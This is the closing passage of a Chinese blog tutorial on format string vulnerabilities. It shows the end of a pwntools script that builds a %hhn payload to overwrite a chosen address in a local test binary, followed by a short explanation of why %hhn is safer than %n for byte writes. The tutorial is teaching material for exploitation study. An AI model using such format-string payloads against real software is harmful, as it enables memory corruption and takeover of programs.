p32(addr + i)</span><br><span class="line">	prev = <span class="built_in">len</span>(payload)</span><br><span class="line">	<span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>):</span><br><span class="line">		payload += fmt(prev, (target &gt;&gt; i * <span class="number">8</span>)&amp;<span class="number">0xff</span>, offset + i)</span><br><span class="line">		prev = (target &gt;&gt; i * <span class="number">8</span>)&amp;<span class="number">0xff</span></span><br><span class="line">	<span class="keyword">return</span> payload    </span><br><span class="line"></span><br><span class="line">re = process(<span class="string">&#x27;./a,out&#x27;</span>)</span><br><span class="line">payload = fmt_str(<span class="number">6</span>,<span class="number">4</span>,<span class="number">0x0804A02C</span>,<span class="number">0x12345678</span>)</span><br><span class="line"><span class="built_in">print</span> payload</span><br><span class="line"></span><br><span class="line">re.sendline(payload)</span><br><span class="line"><span class="built_in">print</span> re.recv()</span><br><span class="line"></span><br><span class="line">re.interactive()	</span><br></pre></td></tr></table></figure>

<p>当然，我们也可以利用%n分别对每个地址进行写入[这样就是4字节写入]，也可以得到对应的答案，但是由于我们写入的变量都只会影响由其开始的四个字节，所以最后一个变量写完之后，我们可能会修改之后的三个字节，如果这三个字节比较重要的话，程序就有可能因此崩溃。而<strong>采用%hhn</strong>则不会有这样的问题，因为这样<strong>只会修改相应地址的一个字节</strong>。</p>

                                                                    </div>
                                                                    
                                                                        <div class="prev-or-next">
                                                                            <div class="post-foot-next">
                                                                                
                                                                                    <a href="/2021/01/28/pwn_ret2libc/" target="_self">
                                                                                        <i class="iconfont icon-chevronleft"></i>
                                                                                        <span>Prev</span>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                            <div class="post-attach">
                                                                                <!-- <span class="post-pubtime">
              <i class="iconfont icon-updatetime" title="Update time"></i>
              2021-02-01
            </span> -->

                                                                                
                                                                                            <span class="post-categories">
          <!-- <i class="iconfont icon-bookmark" title="Categories"></i> -->
          
          <!-- <span class="span--category">
            <a href="/categories/Technology/" title="Technology">
              <b>#</b> Technology
            </a>
          </span> -->
                                                                                            
                                                                                                </span>
                                                                                                
                                                                                    <span class="post-tags">
          <!-- <i class="iconfont icon-tags" title="Tags"></i> -->
          
          <!-- <span class="span--tag">
            <a href="/tags/PWN/" title="PWN">
              <b>#</b> PWN
            </a>
          </span> -->
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            </div>
                                                                            <div class="post-foot-prev">
                                                                                
                                                                                    <a href="/2021/02/02/Linux%E4%BF%9D%E6%8A%A4%E6%8A%80%E6%9C%AF/" target="_self">
                                                                                        <span>Next</span>
                                                                                        <i class="iconfont icon-chevronright"></i>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                        </div>
                                                                        
                                                                </div>
                                                                
  <div id="btn-catalog" class="btn-catalog">
    <i class="iconfont icon-catalog"></i>
  </div>
  <div class="post-catalog hidden" id="catalog">
    <div class="title">Contents</div>
    <div class="catalog-content">
      
        <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%8E%9F%E7%90%86%E4%BB%8B%E7%BB%8D"><span class="toc-text">原理介绍</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%87%BD%E6%95%B0"><span class="toc-text">格式化字符串函数</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2"><span class="toc-text">格式化字符串</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86"><span class="toc-text">格式化字符串漏洞原理</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8"><span class="toc-text">格式化字符串漏洞利用</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%A8%8B%E5%BA%8F%E5%B4%A9%E6%BA%83"><span class="toc-text">程序崩溃</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%B3%84%E9%9C%B2%E5%86%85%E5%AD%98"><span class="toc-text">泄露内存</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%B3%84%E9%9C%B2%E6%A0%88%E5%86%85%E5%AD%98"><span class="toc-text">泄露栈内存</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%8E%B7%E5%8F%96%E6%A0%88%E5%AF%B9%E5%BA%94%E5%AD%97%E7%AC%A6%E4%B8%B2"><span class="toc-text">获取栈对应字符串</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%B3%84%E9%9C%B2%E4%BB%BB%E6%84%8F%E5%9C%B0%E5%9D%80%E5%86%85%E5%AD%98"><span class="toc-text">泄露任意地址内存</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%A6%86%E7%9B%96%E5%86%85%E5%AD%98"><span class="toc-text">覆盖内存</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%A6%86%E7%9B%96%E6%A0%88%E5%86%85%E5%AD%98"><span class="toc-text">覆盖栈内存</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E7%A1%AE%E5%AE%9A%E8%A6%86%E7%9B%96%E5%9C%B0%E5%9D%80"><span class="toc-text">确定覆盖地址</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E7%A1%AE%E5%AE%9A%E7%9B%B8%E5%AF%B9%E5%81%8F%E7%A7%BB"><span class="toc-text">确定相对偏移</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E8%BF%9B%E8%A1%8C%E8%A6%86%E7%9B%96"><span class="toc-text">进行覆盖</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BB%BB%E6%84%8F%E5%9C%B0%E5%9D%80%E8%A6%86%E7%9B%96"><span class="toc-text">任意地址覆盖</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E8%A6%86%E7%9B%96%E5%B0%8F%E6%95%B0%E5%AD%97"><span class="toc-text">覆盖小数字</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E8%A6%86%E7%9B%96%E5%A4%A7%E6%95%B0%E5%AD%97"><span class="toc-text">覆盖大数字</span></a></li></ol></li></ol></li></ol></li></ol>
      
    </div>
  </div>

  
<script src="/js/catalog.js"></script>




                                                                    
                                                                        <div class="comments-container">
                                                                            







                                                                        </div>
                                                                        
                                                            </div>
                                                            
        
<div class="footer">
  <div class="social">
    <ul>
      
        <li>
          <a title="github" target="_blank" rel="noopener" href="https://github.com/Ghostasky">
            <i class="iconfont icon-github"></i>
          </a>
        </li>
      
        <li>
          <a title="twitter" target="_blank" rel="noopener" href="https://twitter.com/ghostasky">
            <i class="iconfont icon-twitter"></i>
          </a>
        </li>
      
    </ul>
  </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/Ghostasky">怕什么真理无穷，进一寸有进一寸的欢喜。</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Copyright © 2022 Oranges</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Theme by Oranges | Powered by Hexo</a>
        
    </div>
  
</div>

      </div>

      <div class="tools-bar">
        <div class="back-to-top tools-bar-item hidden">
  <a href="javascript: void(0)">
    <i class="iconfont icon-chevronup"></i>
  </a>
</div>


<script src="/js/backtotop.js"></script>



        
  <div class="search-icon tools-bar-item" id="search-icon">
    <a href="javascript: void(0)">
      <i class="iconfont icon-search"></i>
    </a>
  </div>

  <div class="search-overlay hidden">
    <div class="search-content" tabindex="0">
      <div class="search-title">
        <span class="search-icon-input">
          <a href="javascript: void(0)">
            <i class="iconfont icon-search"></i>
          </a>
        </span>
        
          <input type="text" class="search-input" id="search-input" placeholder="Search...">
        
        <span class="search-close-icon" id="search-close-icon">
          <a href="javascript: void(0)">
            <i class="iconfont icon-close"></i>
          </a>
        </span>
      </div>
      <div class="search-result" id="search-result"></div>
    </div>
  </div>

  <script type="text/javascript">
    var inputArea = document.querySelector("#search-input")
    var searchOverlayArea = document.querySelector(".search-overlay")

    inputArea.onclick = function() {
      getSearchFile()
      this.onclick = null
    }

    inputArea.onkeydown = function() {
      if(event.keyCode == 13)
        return false
    }

    function openOrHideSearchContent() {
      let isHidden = searchOverlayArea.classList.contains('hidden')
      if (isHidden) {
        searchOverlayArea.classList.remove('hidden')
        document.body.classList.add('hidden')
        // inputArea.focus()
      } else {
        searchOverlayArea.classList.add('hidden')
        document.body.classList.remove('hidden')
      }
    }

    function blurSearchContent(e) {
      if (e.target === searchOverlayArea) {
        openOrHideSearchContent()
      }
    }

    document.querySelector("#search-icon").addEventListener("click", openOrHideSearchContent, false)
    document.querySelector("#search-close-icon").addEventListener("click", openOrHideSearchContent, false)
    searchOverlayArea.addEventListener("click", blurSearchContent, false)

    var searchFunc = function (path, search_id, content_id) {
      'use strict';
      var $input = document.getElementById(search_id);
      var $resultContent = document.getElementById(content_id);
      $resultContent.innerHTML = "<ul><span class='local-search-empty'>First search, index file loading, please wait...<span></ul>";
      $.ajax({
        // 0x01. load xml file
        url: path,
        dataType: "xml",
        success: function (xmlResponse) {
          // 0x02. parse xml file
          var datas = $("entry", xmlResponse).map(function () {
            return {
              title: $("title", this).text(),
              content: $("content", this).text(),
              url: $("url", this).text()
            };
          }).get();
          $resultContent.innerHTML = "";

          $input.addEventListener('input', function () {
            // 0x03. parse query to keywords list
            var str = '<ul class=\"search-result-list\">';
            var keywords = this.value.trim().toLowerCase().split(/[\s\-]+/);
            $resultContent.innerHTML = "";
            if (this.value.trim().length <= 0) {
              return;
            }
            // 0x04. perform local searching
            datas.forEach(function (data) {
              var isMatch = true;
              var content_index = [];
              if (!data.title || data.title.trim() === '') {
                data.title = "Untitled";
              }
              var orig_data_title = data.title.trim();
              var data_title = orig_data_title.toLowerCase();
              var orig_data_content = data.content.trim().replace(/<[^>]+>/g, "");
              var data_content = orig_data_content.toLowerCase();
              var data_url = data.url;
              var index_title = -1;
              var index_content = -1;
              var first_occur = -1;
              // only match artiles with not empty contents
              if (data_content !== '') {
                keywords.forEach(function (keyword, i) {
                  index_title = data_title.indexOf(keyword);
                  index_content = data_content.indexOf(keyword);

                  if (index_title < 0 && index_content < 0) {
                    isMatch = false;
                  } else {
                    if (index_content < 0) {
                      index_content = 0;
                    }
                    if (i == 0) {
                      first_occur = index_content;
                    }
                    // content_index.push({index_content:index_content, keyword_len:keyword_len});
                  }
                });
              } else {
                isMatch = false;
              }
              // 0x05. show search results
              if (isMatch) {
                str += "<li><a href='" + data_url + "' class='search-result-title'>" + orig_data_title + "</a>";
                var content = orig_data_content;
                if (first_occur >= 0) {
                  // cut out 100 characters
                  var start = first_occur - 20;
                  var end = first_occur + 80;

                  if (start < 0) {
                    start = 0;
                  }

                  if (start == 0) {
                    end = 100;
                  }

                  if (end > content.length) {
                    end = content.length;
                  }

                  var match_content = content.substr(start, end);

                  // highlight all keywords
                  keywords.forEach(function (keyword) {
                    var regS = new RegExp(keyword, "gi");
                    match_content = match_content.replace(regS, "<span class=\"search-keyword\">" + keyword + "</span>");
                  });

                  str += "<p class=\"search-result-abstract\">" + match_content + "...</p>"
                }
                str += "</li>";
              }
            });
            str += "</ul>";
            if (str.indexOf('<li>') === -1) {
              return $resultContent.innerHTML = "<ul><span class='local-search-empty'>No result<span></ul>";
            }
            $resultContent.innerHTML = str;
          });
        },
        error: function(xhr, status, error) {
          $resultContent.innerHTML = ""
          if (xhr.status === 404) {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The search.xml file was not found, please refer to：<a href='https://github.com/zchengsite/hexo-theme-oranges#configuration' target='_black'>configuration</a><span></ul>";
          } else {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The request failed, Try to refresh the page or try again later.<span></ul>";
          }
        }
      });
      $(document).on('click', '#search-close-icon', function() {
        $('#search-input').val('');
        $('#search-result').html('');
      });
    }

    var getSearchFile = function() {
        var path = "/search.xml";
        searchFunc(path, 'search-input', 'search-result');
    }
  </script>




        
  <div class="tools-bar-item theme-icon" id="switch-color-scheme">
    <a href="javascript: void(0)">
      <i id="theme-icon" class="iconfont icon-moon"></i>
    </a>
  </div>

  
<script src="/js/colorscheme.js"></script>





        
  
    <div class="share-icon tools-bar-item">
      <a href="javascript: void(0)" id="share-icon">
        <i class="iconfont iconshare"></i>
      </a>
      <div class="share-content hidden">
        
          <a class="share-item" href="https://twitter.com/intent/tweet?text=' + %E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8E%9F%E7%90%86%E4%BB%8B%E7%BB%8D%E5%8F%8A%E5%88%A9%E7%94%A8 + '&url=' + https%3A%2F%2Fghostasky.github.io%2F2021%2F02%2F01%2F%25E6%25A0%25BC%25E5%25BC%258F%25E5%258C%2596%25E5%25AD%2597%25E7%25AC%25A6%25E4%25B8%25B2%25E5%258E%259F%25E7%2590%2586%25E4%25BB%258B%25E7%25BB%258D%25E5%258F%258A%25E5%2588%25A9%25E7%2594%25A8%2F + '" target="_blank" title="Twitter">
            <i class="iconfont icon-twitter"></i>
          </a>
        
        
          <a class="share-item" href="https://www.facebook.com/sharer.php?u=https://ghostasky.github.io/2021/02/01/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8E%9F%E7%90%86%E4%BB%8B%E7%BB%8D%E5%8F%8A%E5%88%A9%E7%94%A8/" target="_blank" title="Facebook">
            <i class="iconfont icon-facebooksquare"></i>
          </a>
        
      </div>
    </div>
  
  
<script src="/js/shares.js"></script>



      </div>
    </div>
  </body>
</html>
